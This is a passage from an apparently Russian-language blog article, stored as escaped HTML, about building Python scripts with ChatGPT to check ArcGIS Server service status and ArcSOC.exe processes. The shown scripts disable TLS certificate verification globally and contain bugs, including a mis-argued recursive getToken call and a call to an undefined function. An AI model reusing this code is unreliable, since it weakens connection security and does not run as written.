\u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432.<\/p>\n<p>\u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 ChatGPT \u043f\u0440\u0438\u043d\u043e\u0441\u0438\u043b\u0430 \u0441\u043f\u043b\u043e\u0448\u043d\u043e\u0435 \u0443\u0434\u043e\u0432\u043e\u043b\u044c\u0441\u0442\u0432\u0438\u0435 \u2013 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438 \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443 \u043c\u0430\u0448\u0438\u043d\u044b \u0438 \u043e\u043d\u0430 \u043e\u0442\u0432\u0435\u0447\u0430\u043b\u0430 \u043b\u0430\u0434\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u043c\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c\u0438. \u041d\u043e \u0447\u0435\u043c \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u043e\u0435, \u0442\u0435\u043c \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0445\u0443\u0436\u0435 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438\u0441\u044c \u043c\u043e\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u044b. \u0418, \u043a\u0430\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u0443\u0436\u0435 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043c\u044b\u0441\u043b\u0438, \u0437\u0430\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0435. \u0412\u043e\u0442 \u043e\u043d\u0430 \u2013 \u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u043c\u0435\u0436\u0434\u0443 \u0442\u0435\u043c, \u043a\u0430\u043a \u0442\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0448\u044c\u0441\u044f \u0432 \u0441\u0430\u043c\u043e\u0439 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0442\u0435\u043c, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0445\u043e\u0440\u043e\u0448\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0448\u044c, \u043a\u0430\u043a \u044d\u0442\u0443 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043b\u043e\u0436\u0438\u0442\u044c \u0432 \u043a\u043e\u0434\u2026<\/p>\n<p>\u041f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0435 \u0438\u0442\u043e\u0433\u0438:<\/p>\n<details class=\"spoiler\">\n<summary>\u041a\u043e\u0434 \u043f\u043e\u0434 \u0441\u043f\u043e\u0439\u043b\u0435\u0440\u043e\u043c (\u043e\u0441\u0442\u043e\u0440\u043e\u0436\u043d\u043e, \u043f\u043e\u043b\u043e\u0442\u043d\u043e \u043a\u043e\u0434\u0430):<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import urllib.request import urllib.error import urllib.parse import http.client import json import contextlib import sys import ssl  SERVER = \"serverName\" ADMINLOGIN = 'adminLogin' ADMINPASS = 'adminPass'  def main():     adminUser = ADMINLOGIN     adminPass = ADMINPASS     server = SERVER     port = \"443\"     folder = \"\/\"     # action = sys.argv[5]     serverName = server     serverPort = port          try:         expiration = 60         token = getToken(adminUser, adminPass, server, port, expiration)                  folderURL = \"\/arcgis\/admin\/services\/\" + folder         params = urllib.parse.urlencode({'token': token, 'f': 'json'})         headers = {\"Content-type\": \"application\/x-www-form-urlencoded\", \"Accept\": \"text\/plain\"}         httpConn = http.client.HTTPSConnection(serverName, serverPort)         httpConn.request(\"POST\", folderURL, params, headers)         response = httpConn.getresponse()         if (response.status != 200):             httpConn.close()             print(\"Could not read folder information.\")             return         else:             data = response.read()          if not assertJsonSuccess(data):                       print (\"Error when reading folder information. \" + str(data))         else:             print(\"Processed folder information successfully. Now processing services...\")          dataObj = json.loads(data)         httpConn.close()                  services = getServices(dataObj)         for service in services:             fullSvcName = service['serviceName'] + \".\" + service['type']             print(fullSvcName)          return          except Exception as err:         print(err)  def assertJsonSuccess(data):     obj = json.loads(data)     if 'status' in obj and obj['status'] == \"error\":         print (\"Error: JSON object returns an error. \" + str(obj))         return False     else:         return True  def submit_request(request):     with contextlib.closing(urllib.request.urlopen(request, context=ssl._create_unverified_context())) as response:         content = response.read()         content_decoded = content.decode(\"utf-8\")         job_info = json.loads(content_decoded)         return job_info  def getToken(adminUser, adminPass, server, port, expiration):     token_url = \"https:\/\/{}:{}\/arcgis\/admin\/generateToken?f=json\".format(server, port)          query_dict = {         'username': adminUser,         'password': adminPass,         'expiration': str(expiration),         'client': 'requestip'     }      data = urllib.parse.urlencode(query_dict)     data_encoded = data.encode(\"utf-8\")     request = urllib.request.Request(token_url, data=data_encoded)     token_response = submit_request(request)     if \"token\" in token_response:         print(\"Getting token...\")         token = token_response.get(\"token\")         return token     else:         if \"error\" in token_response:             error_mess = token_response.get(\"error\", {}).get(\"message\")             if \"This request needs to be made over https.\" in error_mess:                 token_url = token_url.replace(\"http:\/\/\", \"https:\/\/\")                 token = getToken(token_url, adminUser, adminPass)                 return token             else:                 raise Exception(\"Portal error: {} \".format(error_mess))  def serviceStartStop(server, port, svc, action, token):     url = \"https:\/\/{}:{}\/arcgis\/admin\".format(server, port)     requestURL = url + \"\/services\/{}\/{}\".format(svc, action)          query_dict = {         \"token\": token,         \"f\": \"json\"     }      data = urllib.parse.urlencode(query_dict)     data_encoded = data.encode(\"utf-8\")     request = urllib.request.Request(requestURL, data=data_encoded)      with contextlib.closing(urllib.request.urlopen(request, context=ssl._create_unverified_context())) as jsonResponse:         return json.loads(jsonResponse.read())  def getServices(dataObj):     services = []     for item in dataObj['services']:         services.append(item)     return services   if __name__ == '__main__':     ssl._create_default_https_context = ssl._create_unverified_context     main()<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0423\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u044e \u0442\u043e\u043a\u0435\u043d, \u0437\u0430\u0445\u043e\u0436\u0443 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u044e \u0441\u043f\u0438\u0441\u043e\u043a \u0441\u043b\u043e\u0451\u0432:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b29\/ea9\/a57\/b29ea9a57a8de5a4164e120b07fe9914.png\" width=\"863\" height=\"188\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b29\/ea9\/a57\/b29ea9a57a8de5a4164e120b07fe9914.png\"\/><\/figure>\n<p>\u041f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u044e\u0449\u0435\u0433\u043e \u0441\u0442\u0430\u0442\u0443\u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043d\u0435 \u0443\u0432\u0435\u043d\u0447\u0430\u043b\u0438\u0441\u044c \u0443\u0441\u043f\u0435\u0445\u043e\u043c:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/aa3\/87f\/a94\/aa387fa94b3c14d5e54b1220e5007701.png\" width=\"509\" height=\"175\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/aa3\/87f\/a94\/aa387fa94b3c14d5e54b1220e5007701.png\"\/><\/figure>\n<h4>\u041d\u0430\u0437\u0430\u0434, \u043a Arcgis API for Python<\/h4>\n<p>\u0420\u0435\u0448\u0438\u043b \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u043a Arcgis API for Python, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0432\u044b\u0448\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b, \u0432 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043a\u0435\u043d\u0430.\u00a0<\/p>\n<p>\u041f\u0440\u043e\u0448\u0443 ChatGPT \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440. \u0414\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u0438 \u043f\u043e\u043c\u043e\u0449\u0438 keyring (\u043d\u0435 \u0437\u0440\u044f \u0436\u0435 \u044f \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0440\u0430\u043d\u0435\u0435).<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u043a\u043e\u0434\u0430 \u0442\u0443\u0442:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">from arcgis.gis.server import Server import keyring  # \u043f\u043e\u043b\u0443\u0447\u0430\u044e \u0434\u0430\u043d\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0430 ADMIN = keyring.get_credential(service_name=\"Admin\", username=None) ADMINLOGIN = ADMIN.username ADMINPASS = ADMIN.password  # \u0441\u0435\u0440\u0432\u0435\u0440 SERVER = \"server_name\"  # \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0438 baseUrl = f\"https:\/\/{SERVER}\/arcgis\" url_admin = f\"{baseUrl}\/admin\" url_token = f\"{baseUrl}\/tokens\/generateToken\"  # \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 my_server = Server(     url=url_admin,     token_url=url_token,     username=ADMINLOGIN,     password=ADMINPASS,     all_ssl=True )  # \u043f\u043e\u0438\u0441\u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043f\u043e \u0441\u043f\u0438\u0441\u043a\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0435\u0433\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u0432 my_services_list = my_server.services.list() for my_service in my_services_list:     if my_service.properties[\"serviceName\"] == \"SERVICENAME\":         print(my_service, my_service.properties[\"serviceName\"])         print(my_service.status)<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u2026\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/caf\/823\/18e\/caf82318efc766f8605ffcb6aea7f3d8.png\" width=\"1023\" height=\"53\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/caf\/823\/18e\/caf82318efc766f8605ffcb6aea7f3d8.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/baf\/74c\/944\/baf74c94454a77b5eb28d0655f50c20f.png\" width=\"1024\" height=\"1023\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/baf\/74c\/944\/baf74c94454a77b5eb28d0655f50c20f.png\"\/><\/figure>\n<p><u>\u0427\u0442\u043e \u044f \u0438\u043c\u0435\u044e \u0441\u0435\u0439\u0447\u0430\u0441:<\/u><\/p>\n<p>Arcgis API for Python \u0434\u0430\u0451\u0442 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 Arcgis Server.\u00a0<\/p>\n<p><u>\u0427\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e: \u044f \u043d\u0430\u0448\u0451\u043b<\/u> \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043b, <u>\u043a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c, \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c, \u0443\u0434\u0430\u043b\u044f\u0442\u044c \u0438\u043b\u0438 \u201c\u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c\u201d<\/u> \u043d\u043e\u0432\u044b\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b.\u00a0<\/p>\n<p>\u0421\u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u043e\u0433\u0430\u043c Arcgis Server. <\/p>\n<h4>\u0414\u044c\u044f\u0432\u043e\u043b, \u043a\u0430\u043a \u0432\u0441\u0435\u0433\u0434\u0430, \u043a\u0440\u043e\u0435\u0442\u0441\u044f \u0432 \u0434\u0435\u0442\u0430\u043b\u044f\u0445<\/h4>\n<p>\u0410 \u0442\u043e\u0447\u043d\u0435\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u0445 <a href=\"https:\/\/docs.google.com\/document\/d\/1PS4CzYYiB8hPoxu4sKJcPNXkP8Ak5aHdOoMnmbStHEI\/edit#bookmark=kix.n6c85guf1qxz\"><u>ArcSOC.exe<\/u><\/a>.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/560\/38f\/c01\/56038fc0177bf6aec0d2845fc0858037.png\" width=\"960\" height=\"720\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/560\/38f\/c01\/56038fc0177bf6aec0d2845fc0858037.png\"\/><\/figure>\n<p><u>\u0414\u0435\u0442\u0430\u043b\u0438<\/u> \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c, \u043a \u043a\u0430\u043a\u043e\u043c\u0443 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 ArcSOC \u043c\u043e\u0436\u043d\u043e, \u043b\u0438\u0431\u043e \u0435\u0441\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 Process ID \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u043d\u0430\u0439\u0442\u0438 \u0441\u0440\u0435\u0434\u0438 ArcSOC \u0442\u0430\u043a\u043e\u0439, PID \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0440\u0430\u0432\u0435\u043d \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u043c\u0443 Process ID \u0441\u0435\u0440\u0432\u0438\u0441\u0430, \u043b\u0438\u0431\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0443 cmdline \u0443 ArcSOC.\u00a0<\/p>\n<p>\u0418 \u043b\u043e\u0433\u0438 \u2013 \u044d\u0442\u043e \u043d\u0435 \u043c\u043e\u0439 \u0441\u043b\u0443\u0447\u0430\u0439, \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0441\u0435\u0439\u0447\u0430\u0441.\u00a0<\/p>\n<p>\u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e Process ID \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u0445 \u0442\u0438\u043f\u0430 Warning \u0438\u043b\u0438 Severe (<u>severe <\/u>\u043e\u0448\u0438\u0431\u043a\u0438 \u2013 \u044d\u0442\u043e \u0432\u0441\u0451, \u043c\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0437\u0430\u0432\u0438\u0441\/\u0443\u043f\u0430\u043b \u0432 \u043e\u0448\u0438\u0431\u043a\u0443\/\u0435\u043c\u0443 \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u0435\u0442 \u043f\u0430\u043c\u044f\u0442\u0438), \u0430 \u043f\u043e\u0441\u043b\u0435 \u0442\u0430\u043a\u0438\u0445 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u0441\u0435\u0440\u0432\u0438\u0441, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0438 \u0435\u0433\u043e Process ID \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u0441\u044f.<\/p>\n<p><em>\u0423\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0447\u0430\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 cmdline \u044f \u043d\u0430\u0442\u043a\u043d\u0443\u043b\u0441\u044f \u043d\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0432 \u043b\u043e\u0433\u0430\u0445, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0438\u0445 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0437\u0430\u043f\u0438\u0441\u0438 FINE. \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c, \u043a\u0430\u043a\u043e\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d, \u0441\u0435\u0439\u0447\u0430\u0441 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0435\u0442.<\/em><\/p>\n<h4>\u0421mdline<\/h4>\n<p>\u0414\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0443 cmdline \u0443 \u043c\u0435\u043d\u044f, \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u043d\u0435 \u0431\u044b\u043b\u043e. \u0418, \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u0431\u044b\u043b \u0432\u0438\u0434\u0435\u043d \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0438 \u043c\u043d\u0435 \u0431\u044b\u043b\u043e \u043d\u0435\u0432\u0442\u0435\u0440\u043f\u0451\u0436 \u0435\u0433\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c, \u044f \u043f\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435\u043c:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/00c\/088\/467\/00c0884676a75d1198b8b5363dce9c48.png\" width=\"1024\" height=\"768\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/00c\/088\/467\/00c0884676a75d1198b8b5363dce9c48.png\"\/><\/figure>\n<p>\u041d\u043e \u0438 \u044d\u0442\u043e\u0442 \u0440\u0443\u0431\u0435\u0436 \u0431\u044b\u043b \u043f\u0440\u043e\u0439\u0434\u0435\u043d.<\/p>\n<details class=\"spoiler\">\n<summary>\u041f\u0440\u0438\u043c\u0435\u0440 \u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u043a cmdline:<\/summary>\n<div class=\"spoiler__content\">\n<pre><code class=\"python\">import psutil  def get_arcsoc_state(service_name):     '''function to get PID, name, memory and CPU used by ArcSOC.exe process'''          state_list = []     for proc in psutil.process_iter(['pid', 'name', 'cmdline']):         if proc.info['name'] == 'ArcSOC.exe':             cmdline = ' '.join(proc.info['cmdline'])             if service_name in cmdline:                 # Get memory and CPU usage                 memory_usage = proc.memory_percent()                 cpu_usage = proc.cpu_percent(interval=1)                 state_list.append((proc.info['pid'],  proc.info['name'], memory_usage, cpu_usage))     return state_list  service_name = 'PrintServ' states = get_arcgis_service_pid(service_name) print(f'Process state for {service_name}: {states}')<\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0418 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/731\/327\/c7b\/731327c7b3af3b09b1f23aebfc25065c.png\" width=\"1105\" height=\"62\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/731\/327\/c7b\/731327c7b3af3b09b1f23aebfc25065c.png\"\/><\/figure>\n<h3>\u0414\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f<\/h3>\n<p>\u0421\u0431\u043e\u0440 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 \u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043f\u0435\u0440\u0432\u043e\u043c \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<ol>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u044e credential \u0437\u0430\u043f\u0438\u0441\u044c \u0441 \u043b\u043e\u0433\u0438\u043d\u043e\u043c \u0438 \u043f\u0430\u0440\u043e\u043b\u0435\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 ArcGIS.<\/p>\n<\/li>\n<li>\n<p>\u041e\u043f\u0438\u0441\u044b\u0432\u0430\u044e \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f ArcSOC.exe \u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u0443\u044e \u043b\u043e\u0433\u0438\u043a\u0443 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u044b.<\/p>\n<\/li>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u044e \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a ArcGIS \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u0442\u043e\u0442 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442 \u0441 ArcSOC.exe.<\/p>\n<\/li>\n<li>\n<p>\u0421\u043e\u0437\u0434\u0430\u044e \u0432 Task Scheduler \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u043f\u043e \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.<\/p>\n<\/li>\n<\/ol>\n<h4>\u041f\u0440\u043e LLM \u0438 AI<\/h4>\n<p>\u0411\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442. \u0421\u043e\u043a\u0440\u0430\u0449\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0432\u0430\u043b \u043c\u0435\u0436\u0434\u0443 \u0441\u0442\u0430\u0440\u0442\u043e\u043c \u0432\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u0438\u0441\u043a\u0430 \u043a\u0430\u043a\u043e\u0439-\u043b\u0438\u0431\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435\u043c \u043e\u0442\u0432\u0435\u0442\u0430 \u0432 \u0432\u0438\u0434\u0435 \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u0436\u0435 \u0447\u0435\u0433\u043e-\u0442\u043e \u0438\u043d\u043e\u0433\u043e.\u00a0<\/p>\n<p>\u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u0443\u0436\u0435 \u043d\u0435\u0442 \u0441\u043c\u044b\u0441\u043b\u0430 \u043f\u0438\u0441\u0430\u0442\u044c \u0445\u0432\u0430\u043b\u0435\u0431\u043d\u044b\u0435 \u043e\u0434\u044b AI: \u0442\u043e\u0442 \u043a\u0442\u043e \u043f\u0440\u043e\u043d\u0438\u043a\u0441\u044f, \u0442\u043e\u0442 \u0443\u0436\u0435 \u0438 \u0442\u0430\u043a \u0432\u0441\u0451 \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442. \u0422\u043e\u0442, \u043a\u0442\u043e \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 AI \u0438\u0433\u0440\u0443\u0448\u043a\u043e\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0438 \u043c\u043e\u0436\u0435\u0442 \u0434\u0430\u0432\u0430\u0442\u044c 